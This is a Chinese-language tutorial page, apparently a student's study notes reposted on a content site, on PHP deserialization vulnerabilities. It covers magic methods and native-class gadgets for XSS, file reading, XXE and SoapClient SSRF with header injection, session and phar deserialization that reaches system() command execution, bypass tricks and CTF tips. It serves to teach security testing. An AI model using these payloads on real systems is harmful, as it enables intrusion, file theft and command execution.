几种反序列化漏洞

这篇具有很好参考价值的文章主要介绍了几种反序列化漏洞。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

1.PHP魔术方法

<?php
class c {
    private $name = 'hacker';
 
    function __construct() { // 构造方法,new时调用
        echo 'construct<br>';
    }
 
    function __serialize() { // 序列化时调用
        echo 'serialize<br>';
        return ['hack'];
    }
 
    function __unserialize($data) { // 反序列化时调用
        echo '__unserialize ';
        print_r($data);
        echo '<br>';
    }
 
    function __sleep() { // 序列化时调用,存在 __serialize 就不调用
        echo 'sleep<br>';
        return [];
    }
 
    function __wakeup() { // 反序列化时调用,存在 __unserialize 就不调用
        echo 'wakeup<br>';
    }
 
    function __debugInfo() { // 对对象使用 var_dump 时调用
        echo 'debugInfo ';
        return [];
    }
 
    function __clone() { // 对对象使用 clone 时调用
        echo '<br>clone<br>';
    }
 
    function __destruct() { // 析构方法,对象销毁时调用
        echo 'destruct<br>';
    }
 
    // 异常处理魔术方法
    function __get($name) { // 获取不存在或不可访问的变量时调用
        echo 'get '.$name.'<br>';
    }
 
    function __set($name, $value) { // 给不存在或不可访问的变量赋值时调用
        echo 'set '.$name.' '.$value.'<br>';
    }
 
    function __isset($name) { // 对不存在或不可访问的变量使用 isset 或 empty 时调用
        echo 'isset '.$name.'<br>';
    }
 
    function __unset($name) { // 对不存在或不可访问的变量使用 unset 时调用
        echo 'unset '.$name.'<br>';
    }
 
    function __call($name, $parameter) { // 调用不存在或不可访问的方法时调用
        echo 'call '.$name.' ';
        print_r($parameter);
        echo '<br>';
    }
 
    static function __callStatic($name, $parameter) { // 调用不存在或不可访问的静态方法时调用
        echo 'callStatic '.$name.' ';
        print_r($parameter);
        echo '<br>';
    }
 
    function __toString() { // 对象被当作字符串使用时调用
        echo 'toString<br>';
        return '';
    }
 
    function __invoke() { // 对象被当作函数调用时调用
        echo 'invoke<br>';
        return '';
    }
}
 
// 创建对象
$c = new c();
var_dump($c);
clone $c;
 
// 序列化
$s = serialize($c);
echo $s.'<br><br>';
 
// 反序列化
$u = unserialize($s);
 
$u->pass;
$u->pass = 'hacker';
isset($u->name);
empty($u->name);
unset($u->name);
 
$u->function(1);
c::function(2);
$u::function(3);
 
echo $u;
$u.'';
$u();

2.PHP原生类

Error类

PHP>7.0,因为存在__toString,可以进行XSS

echo new Error('<script>alert(1)</script>');

Exception类

因为存在__toString,可以进行XSS

echo new Exception('<script>alert(1)</script>');

DirectoryIterator类

因为存在__toString,可以获取符合要求的第一个文件名

echo new DirectoryIterator('glob://flag*');

SplFileObject类

因为存在__toString,可以读取文件内容

echo new SplFileObject('/flag');

SimpleXMLElement

可以造成 xxe

xxe.xml 和 xxe.dtd 构造见我的 XXE 文章,XXE XML外部实体注入(https://www.cnblogs.com/Night-Tac/articles/16931091.html)

SimpleXMLElement('http://127.0.0.1/xxe.xml', 2, TRUE);

SoapClient类

因为存在__call,可以进行SSRF

phpStudy 可以直接通过不注释 php.ini 中的 extension=php_soap.dll 来开启

<?php
// ua是为了覆盖请求头并让请求包后面的其他内容无效
$ua = "ua\r\nX-Forwarded-For: 127.0.0.1\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 6\r\n\r\nssrf=1";
 
$soap = new SoapClient(null, array('uri'=>'http://127.0.0.1/', 'location'=>'http://127.0.0.1/ssrf.php', 'user_agent'=>$ua));
$soap->function();

可以通过 NC 看构造的请求包

POST /ssrf.php HTTP/1.1
Host: 127.0.0.1
Connection: Keep-Alive
User-Agent: ua
X-Forwarded-For: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 6
 
ssrf=1
Content-Type: text/xml; charset=utf-8
SOAPAction: "http://127.0.0.1/#function"
Content-Length: 394
 
<?xml version="1.0" encoding="UTF-8"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ns1="http://127.0.0.1/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><ns1:function/></SOAP-ENV:Body></SOAP-ENV:Envelope>

3.特殊文件的反序列化

Session反序列化

php.ini 的默认配置 session.serialize_handler = php,Session格式:user|s:3:"xxx";

当配置 session.serialize_handler = php_serialize 时,Session格式:a:1:{s:4:"user";s:3:"xxx";}

当存在两个配置不同的页面并且Session内容可控时,会造成反序列化,例:

先访问这个生成:a:1:{s:4:"user";s:37:"|O:1:"c":1:{s:4:"code";s:6:"whoami";}";}

<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION['user'] = '|O:1:"c":1:{s:4:"code";s:6:"whoami";}';

再访问这个进行反序列化,session_start 函数会读取 Session 内容并反序列化

<?php
class c{
    function __wakeup() {
        system($this->code);
    }
}
session_start();

phar包反序列化

phar包在被可执行代码的文件包含函数通过 phar:// 处理时会反序列化

生成Payload

<?php
class c{
    public $code = 'whoami';
}
 
$phar = new Phar('1.phar');
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER();?>");
 
$o = new c();
$phar->setMetadata($o);
$phar->addFromString('1.txt', '1');
$phar->stopBuffering();

访问进行反序列化

<?php
class c{
    function __wakeup() {
        system($this->code);
    }
}
include('1.phar');

4.绕过

开头

数字

O:+1,PHP<7.2

O

<?php
class c{
    public $code = 'whoami';
    function __wakeup() {
        system($this->code);
    }
}
 
// a:1:{i:0;O:1:"c":1:{s:4:"code";s:6:"whoami";}}
$array = [new c()];
echo serialize($array);
echo '<br>';
 
// C:11:"ArrayObject":61:{x:i:0;a:1:{i:0;O:1:"c":1:{s:4:"code";s:6:"whoami";}};m:a:0:{}}
$obj = new ArrayObject();
$obj->append(new c());
echo serialize($obj);
echo '<br>';
 
// C:16:"SplObjectStorage":54:{x:i:1;O:1:"c":1:{s:4:"code";s:6:"whoami";},N;;m:a:0:{}}
$obj = new SplObjectStorage();
$obj->attach(new c());
echo serialize($obj);
echo '<br>';
 
// C:8:"SplStack":41:{i:6;:O:1:"c":1:{s:4:"code";s:6:"whoami";}}
$obj = new SplStack();
$obj->push(new c());
echo serialize($obj);
echo '<br>';
 
// C:8:"SplQueue":41:{i:4;:O:1:"c":1:{s:4:"code";s:6:"whoami";}}
$obj = new SplQueue();
$obj->enqueue(new c());
echo serialize($obj);
echo '<br>';
 
// C:19:"SplDoublyLinkedList":41:{i:0;:O:1:"c":1:{s:4:"code";s:6:"whoami";}}
$obj = new SplDoublyLinkedList();
$obj->push(new c());
echo serialize($obj);

魔术方法

__wakeup绕过,大于实际值(PHP<=5.5),例:O:1:"c":100...

__destruct绕过,前面抛出异常

__destruct调用,结构错误,例:O:1:"c":1:{xxx}

5.CTF

private序列化有不可见字符,复制会出错,可以urlencode。包含\n、标签这种情况在HTML复制的不对要ctrl+u复制

数字、字符串、数组也可以直接序列化,i:1;、d:1.00;、s:3:"xxx";、a:2:{i:0;s:1:"1";i:1;s:1:"2";}

要求俩值相等,$this->a = &$this->b,这样b改了a也会一起改

看似反序列化的题结果静态函数不需要对象

字符串逃逸,CTFshow-WEB入门-反序列化(https://www.cnblogs.com/Night-Tac/articles/16880648.html)

本文为免杀三期学员笔记:https://www.cnblogs.com/Night-Tac/articles/16932108.html文章来源地址https://www.toymoban.com/news/detail-693235.html

到了这里,关于几种反序列化漏洞的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 反序列化渗透与攻防(二)之Java反序列化漏洞

    JAVA反序列化漏洞到底是如何产生的? 1、由于很多站点或者RMI仓库等接口处存在java的反序列化功能,于是攻击者可以通过构造特定的恶意对象序列化后的流,让目标反序列化,从而达到自己的恶意预期行为,包括命令执行,甚至 getshell 等等。 2、Apache Commons Collections是开源小

    2023年04月17日
    浏览(47)
  • 反序列化漏洞及漏洞复现

    问题 :为什么要序列化? 序列化,“将对象的状态信息转换为可以存储或传输的形式的过程”,这种形式大多为字节流、字符串、Json 串。在序列化期间内,将对象当前状态写⼊到临时或永久性的存储区。以后,就可以通过从存储区中读取或还原(反序列化)对象的状态,重

    2024年02月09日
    浏览(45)
  • 【Java序列化的几种方式】

    在Java中,常见的序列化方式有以下几种: Java原生序列化是一种Java标准库提供的序列化技术,可以将Java对象转换为字节流进行传输和存储。可以通过实现java.io.Serializable接口来实现序列化,但是Java原生序列化存在一些性能和兼容性的问题。 JSON是一种轻量级的数据交换格式,

    2024年02月15日
    浏览(60)
  • 反序列化漏洞

    反序列化漏洞(Deserialization Vulnerability)是指攻击者利用应用程序在反序列化操作中的漏洞,将恶意序列化对象注入到应用程序中,从而执行未授权的操作或者以应用程序的身份执行恶意代码,从而导致系统被攻击的一种漏洞。   序列化和反序列化是一种将对象或数据结构转

    2024年02月13日
    浏览(33)
  • Weblogic反序列化漏洞

    漏洞环境基于vulhub搭建–进入weak_password的docker环境 sudo docker-compose up -d拉取靶场 404特征Weblogic常用端口:7001 任意读取文件、后台getshell,访问/console/login/LoginForm.jsp后缀来到后台管理处 获取用户名密码 http://192.168.25.128:7001/console/login/LoginForm.jsp 使用任意读取文件方式获取用户

    2024年02月09日
    浏览(43)
  • 反序列化漏洞(PHP)

    0x01. 序列化和反序列化是什么 序列化:变量转换为可保存或传输的字符串的过程; 反序列化:把序列化的字符串再转化成原来的变量使用 作用:可轻松地存储和传输数据,使程序更具维护性 0x02. 为什么会有序列化 序列化用于存储或传递 PHP 的值的过程中,同时不丢失其类型

    2024年02月06日
    浏览(47)
  • thinkphp 反序列化漏洞

    php.ini 配置phpstorm中的CLI解释器、本地服务器、调试的端口、DBGp代理以及phpstudy中的版本、扩展 配置防调试超时 测试版本5.1.37 适用版本5.1.16-5.1.40 修改控制器 查找入口__destruct,进入windows类 查看removeFiles方法 poc1(任意文件删除) TzoyNzoidGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzIjoxOntzOjM0O

    2024年02月11日
    浏览(37)
  • session反序列化漏洞

    当会话自动开始或者通过 session_start() 手动开始的时候, PHP 内部会依据客户端传来的PHPSESSID来获取现有的对应的会话数据(即session文件), PHP 会自动反序列化session文件的内容,并将之填充到 $_SESSION 超级全局变量中。如果不存在对应的会话数据,则创建名为sess_PHPSESSID(客户

    2024年02月07日
    浏览(61)
  • 反序列化渗透与攻防(三)之Apache Commons Collections反序列化漏洞

    项目地址:Collections – Download Apache Commons Collections 本地复现环境: jdk 1.7.0_80 IDEA Project Structrure——Projrct设置成1.7 IDEA Project Structrure——Moudles设置成1.7 Settings——Build,Execution,Deployment——Compiler——Java Compiler——Target bytecode version设置成7 Apache Commons Collections ≤ 3.2.1 Apache Com

    2023年04月21日
    浏览(56)
  • PHP反序列化漏洞原理

    1、原理: 序列化与反序列化是保证数据一致性的过程。 2、产生: 序列化与反序列化的过程中,用户可控 如果反序列化的参数受到攻击者的控制,就会产生漏洞。攻击者可以通过修改参数个数等方式来控制反序列化过程,从而导致代码执行、SQL注入、目录遍历等不可控后果。

    2024年01月16日
    浏览(60)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包